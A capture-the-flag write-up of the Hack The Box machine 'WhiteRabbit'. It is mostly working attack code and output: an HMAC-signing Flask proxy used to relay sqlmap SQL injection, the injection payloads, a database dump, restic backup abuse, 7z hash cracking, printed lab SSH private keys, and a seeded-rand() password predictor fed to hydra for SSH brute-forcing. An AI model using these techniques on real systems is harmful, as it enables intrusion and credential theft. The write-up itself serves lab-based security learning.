Hackthebox: WhiteRabbit

Foued SAIDI Lv5

Overview

WhiteRabbit is an insane-difficulty machine from Hack The Box : Flask proxy endpoint → signed webhook request abuse → SQL injection in webhook backend by relaying it → MySQL database dump → extract command_log entries → identify and reverse timestamp-seeded rand() password generator → predict valid password → SSH login as neo → sudo to root

WhiteRabbit
WhiteRabbit

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_ 256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://whiterabbit.htb
2222/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_ 256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.01 seconds

We can see that we have our usual ssh port, a web application deployed on port 80 that’s redirecting us to whiterabbit.htb so we’ll add it to our /etc/hosts file and finally another ssh service deployed on port 2222.

Web Application - http://whiterabbit.htb/

Upon inspecting the web application, we can also see a new subdomain http://status.whiterabbit.htb/dashboard so we’ll add it to our /etc/hosts also.

We will attempt the login by intercepting login request, change false to true to gain access.

Looking at http://status.whiterabbit.htb/status/temp , we find some interesting subdomains meant for internal services:

1
2
3
4
gophish (ddb09a8558c9.whiterabbit.htb)
n8n (Production)
website (whiterabbit.htb)
wikijs (a668910b5514e.whiterabbit.htb)

Looking at http://a668910b5514e.whiterabbit.htb , we find http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks

Web Application
Web Application

http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json

Inside of the json we find this webhoodId and secret:

1
2
      "webhookId": "d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"
              "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

We will create a Flask app that is basically a small proxy that takes whatever you pass in the q parameter, treats it as an email, signs it with an HMAC, and forwards it to the Gophish webhook endpoint, then returns the webhook’s response.
The forwarded email value is being used unsafely by the webhook’s backend
We will abuse this with sqlmap by exploiting the downstream webhook service, which lets us dump the MySQL databases and even recover logged shell commands from the backend => SQL injection through a relay endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, request, jsonify
import requests
import json
import hmac
import hashlib

app = Flask(__name__)

SECRET = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
WEBHOOK_URL = "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" # Change as needed

def calculate_hmac(payload: dict) -> str:
payload_str = json.dumps(payload, separators=(',', ':'))
signature = hmac.new(SECRET.encode(), payload_str.encode(), hashlib.sha256).hexdigest()
return signature

@app.route('/', methods=['GET'])
def proxy():
email = request.args.get('q')
if not email:
return jsonify({"error": "Missing 'q' query parameter for email"}), 400

payload = {
"campaign_id": 1,
"email": email,
"message": "Clicked Link"
}

signature = calculate_hmac(payload)

headers = {
"Content-Type": "application/json",
"x-gophish-signature": f"hmac={signature}"
}
try:
response = requests.post(WEBHOOK_URL, headers=headers, json=payload)
response.raise_for_status()
except requests.RequestException as e:
return jsonify({"error": str(e)}), 500

# Return the response from the endpoint as plain text.
return response.text

if __name__ == '__main__':
app.run(port=5000, debug=False)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
$ sqlmap -u 'http://127.0.0.1:5000/?q=test' -p q --level 5 --risk 3 --batch --dbs    
___
__H__
___ ___[.]_____ ___ ___ {1.8.11#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:29:22 /2025-04-07/

[12:29:22] [INFO] testing connection to the target URL
[12:29:23] [INFO] testing if the target URL content is stable
[12:29:23] [INFO] target URL content is stable
[12:29:24] [INFO] heuristic (basic) test shows that GET parameter 'q' might be injectable (possible DBMS: 'MySQL')
[12:29:24] [INFO] testing for SQL injection on GET parameter 'q'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[12:29:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:29:37] [WARNING] reflective value(s) found and filtering out
[12:30:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[12:30:59] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[12:31:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[12:31:43] [INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
[12:31:43] [INFO] testing 'Generic inline queries'
[12:31:43] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[12:31:44] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[12:31:44] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[12:31:49] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[12:31:50] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[12:31:50] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[12:31:51] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[12:31:51] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[12:31:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[12:31:52] [INFO] GET parameter 'q' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[12:31:52] [INFO] testing 'MySQL inline queries'
[12:31:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[12:32:04] [INFO] GET parameter 'q' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
[12:32:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:32:16] [INFO] GET parameter 'q' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[12:32:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:32:16] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:32:17] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:32:19] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[12:32:26] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[12:32:35] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[12:32:45] [INFO] testing 'Generic UNION query (10) - 21 to 40 columns'
[12:32:54] [INFO] testing 'Generic UNION query (10) - 41 to 60 columns'
[12:33:12] [INFO] testing 'Generic UNION query (10) - 61 to 80 columns'
[12:36:53] [INFO] testing 'Generic UNION query (10) - 81 to 100 columns'
[12:37:01] [INFO] testing 'MySQL UNION query (20) - 1 to 20 columns'
[12:37:13] [INFO] testing 'MySQL UNION query (10) - 21 to 40 columns'
[12:38:42] [INFO] testing 'MySQL UNION query (10) - 41 to 60 columns'
[12:40:59] [INFO] testing 'MySQL UNION query (10) - 61 to 80 columns'
[12:41:08] [INFO] testing 'MySQL UNION query (10) - 81 to 100 columns'
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1565 HTTP(s) requests:
---
Parameter: q (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: q=test" AND 6979=(SELECT (CASE WHEN (6979=6979) THEN 6979 ELSE (SELECT 8267 UNION SELECT 3305) END))-- -

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: q=test" AND (SELECT 8266 FROM(SELECT COUNT(*),CONCAT(0x7171707a71,(SELECT (ELT(8266=8266,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EhMa

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: q=test";SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: q=test" AND (SELECT 4519 FROM (SELECT(SLEEP(5)))yRql)-- yGPS
---
[12:43:49] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:43:51] [INFO] fetching database names
[12:43:51] [INFO] retrieved: 'information_schema'
[12:43:52] [INFO] retrieved: 'phishing'
[12:43:52] [INFO] retrieved: 'temp'
available databases [3]:
[*] information_schema
[*] phishing
[*] temp

[12:43:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:43:52 /2025-04-07/








$sqlmap -u 'http://127.0.0.1:5000/?q=test' -p q --level 5 --risk 3 --batch --dump -D temp
___
__H__
___ ___[)]_____ ___ ___ {1.8.11#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:53:58 /2025-04-07/

[12:53:59] [INFO] resuming back-end DBMS 'mysql'
[12:53:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: q=test" AND 6979=(SELECT (CASE WHEN (6979=6979) THEN 6979 ELSE (SELECT 8267 UNION SELECT 3305) END))-- -

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: q=test" AND (SELECT 8266 FROM(SELECT COUNT(*),CONCAT(0x7171707a71,(SELECT (ELT(8266=8266,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EhMa

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: q=test";SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: q=test" AND (SELECT 4519 FROM (SELECT(SLEEP(5)))yRql)-- yGPS
---
[12:53:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:53:59] [INFO] fetching tables for database: 'temp'
[12:53:59] [WARNING] reflective value(s) found and filtering out
[12:54:00] [INFO] retrieved: 'command_log'
[12:54:00] [INFO] fetching columns for table 'command_log' in database 'temp'
[12:54:00] [INFO] retrieved: 'id'
[12:54:01] [INFO] retrieved: 'int(11)'
[12:54:01] [INFO] retrieved: 'command'
[12:54:02] [INFO] retrieved: 'varchar(255)'
[12:54:02] [INFO] retrieved: 'date'
[12:54:05] [INFO] retrieved: 'timestamp'
[12:54:05] [INFO] fetching entries for table 'command_log' in database 'temp'
[12:54:06] [INFO] retrieved: '2024-08-30 10:44:01'
[12:54:06] [INFO] retrieved: 'uname -a'
[12:54:09] [INFO] retrieved: '1'
[12:54:09] [INFO] retrieved: '2024-08-30 11:58:05'
[12:54:10] [INFO] retrieved: 'restic init --repo rest:http://75951e6ff.whiterabbit.htb'
[12:54:10] [INFO] retrieved: '2'
[12:54:13] [INFO] retrieved: '2024-08-30 11:58:36'
[12:54:13] [INFO] retrieved: 'echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd'
[12:54:14] [INFO] retrieved: '3'
[12:54:16] [INFO] retrieved: '2024-08-30 11:59:02'
[12:54:16] [INFO] retrieved: 'rm -rf .bash_history '
[12:54:17] [INFO] retrieved: '4'
[12:54:17] [INFO] retrieved: '2024-08-30 11:59:47'
[12:54:19] [INFO] retrieved: '#thatwasclose'
[12:54:20] [INFO] retrieved: '5'
[12:54:20] [INFO] retrieved: '2024-08-30 14:40:42'
[12:54:21] [INFO] retrieved: 'cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd'
[12:54:23] [INFO] retrieved: '6'
Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date | command |
+----+---------------------+------------------------------------------------------------------------------+
| 1 | 2024-08-30 10:44:01 | uname -a |
| 2 | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb |
| 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd |
| 4 | 2024-08-30 11:59:02 | rm -rf .bash_history |
| 5 | 2024-08-30 11:59:47 | #thatwasclose |
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

[12:54:23] [INFO] table 'temp.command_log' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/temp/command_log.csv'
[12:54:23] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:54:23 /2025-04-07/

Now we will use the obtained data to retrieve the restic data, get the hash, crack it, and later get the ssh private key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd

$ restic restore latest --target ./restored_data --repo rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
[0:00] 100.00% 5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to ./restored_data
Summary: Restored 5 files/dirs (572 B) in 0:00


$ pwd
/home/kali/restored_data/dev/shm/bob/ssh

$ 7z2john bob.7z > hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes

$ cat hash
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00


$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 3 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 365 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:03:38 0.13% (ETA: 2025-04-09 12:47) 0g/s 100.6p/s 100.6c/s 100.6C/s lovers123..kokito
1q2w3e4r5t6y (bob.7z)
1g 0:00:03:56 DONE (2025-04-07 13:10) 0.004234g/s 100.9p/s 100.9c/s 100.9C/s 200200..150390
Use the "--show" option to display all of the cracked passwords reliably
Session completed.



$ ls
bob bob.pub config

$ cat *
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy
Host whiterabbit
HostName whiterabbit.htb
Port 2222
User bob


Once we are in, we will abuse restic again to get the morpheus ssh key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
ob@ebdce80611e9:~$ sudo restic init --repo /tmp/kujen
enter password for new repository:
enter password again:
created restic repository 42daf6fb10 at /tmp/kujen

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
bob@ebdce80611e9:~$ sudo restic -r /tmp/kujen/ backup /root
enter password for repository:
repository 42daf6fb opened (version 2, compression level auto)
created new cache in /root/.cache/restic
no parent snapshot found, will read all files


Files: 4 new, 0 changed, 0 unmodified
Dirs: 3 new, 0 changed, 0 unmodified
Added to the repository: 6.493 KiB (3.603 KiB stored)

processed 4 files, 3.865 KiB in 0:00
snapshot 8facbebd saved
bob@ebdce80611e9:~$ sudo restic -r /tmp/kujen/ ls latest
enter password for repository:
repository 42daf6fb opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
snapshot 8facbebd of [/root] filtered by [] at 2025-04-07 17:14:02.802882091 +0000 UTC):
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.profile
/root/.ssh
/root/morpheus
/root/morpheus.pub
bob@ebdce80611e9:~$ sudo restic -r /tmp/kujen/ dump latest /root/morpheus
enter password for repository:
repository 42daf6fb opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----










$ ssh [email protected] -i morpheus
The authenticity of host 'whiterabbit.htb (10.129.25.169)' can't be established.
ED25519 key fingerprint is SHA256:F9XNz/rgt655Q1XKkL6at11Zy5IXAogAEH95INEOrIE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'whiterabbit.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Apr 7 17:21:46 2025 from 10.10.16.19
morpheus@whiterabbit:~$ ls
user.txt
morpheus@whiterabbit:~$ cat user.txt
e61f4c0399c6bc0042392cdeaea91c80
morpheus@whiterabbit:~$ exit

Privilege Escalation

Now from the dumped command log I noticed /opt/neo-password-generator being used right before a passwd call, so I recreated the binary logic locally and saw it was just generating passwords using rand() seeded with a fixed timestamp. By hardcoding that exact time and bruteforcing the 1000 possible millisecond offsets, I generated the same password list, fed it to Hydra, and quickly logged in as neo over SSH. Since neo is in the sudo group, got root and the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
morpheus@whiterabbit:/opt/neo-password-generator$ ls
neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$



$ cat generator.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
char cs[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", pwd[21];
struct tm tm = { .tm_year = 2024-1900, .tm_mon = 8-1, .tm_mday = 30, .tm_hour = 14, .tm_min = 40, .tm_sec = 42 };
time_t t = timegm(&tm);
for(int ms = 0; ms < 1000; ms++){
srand(t * 1000 + ms);
for(int i = 0; i < 20; i++) pwd[i] = cs[rand() % 62];
pwd[20] = '\0';
printf("%s\n", pwd);
}
return 0;
}


$ gcc generator.c -o generator


$ ./generator > passwords

$ hydra -l neo -P passwords -t 16 ssh://whiterabbit.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-07 13:30:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
[DATA] attacking ssh://whiterabbit.htb:22/
[22][ssh] host: whiterabbit.htb login: neo password: WBSxhWgfnMiclrV4dqfj
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-07 13:30:50




neo@whiterabbit:~$ id
uid=1000(neo) gid=1000(neo) groups=1000(neo),27(sudo)
neo@whiterabbit:~$ sudo su
[sudo] password for neo:
root@whiterabbit:/home/neo# cat /root/root.txt
e410b4dbbc359f900caf510fa488c2ce
root@whiterabbit:/home/neo#

That was it for whiterabbit, hope you enjoyed!
-0xkujen

  • Title: Hackthebox: WhiteRabbit
  • Author: Foued SAIDI
  • Created at : 2025-12-13 18:27:16
  • Updated at : 2025-12-13 21:30:42
  • Link: https://kujen5.github.io/2025/12/13/Hackthebox-WhiteRabbit/
  • License: This work is licensed under CC BY-NC-SA 4.0.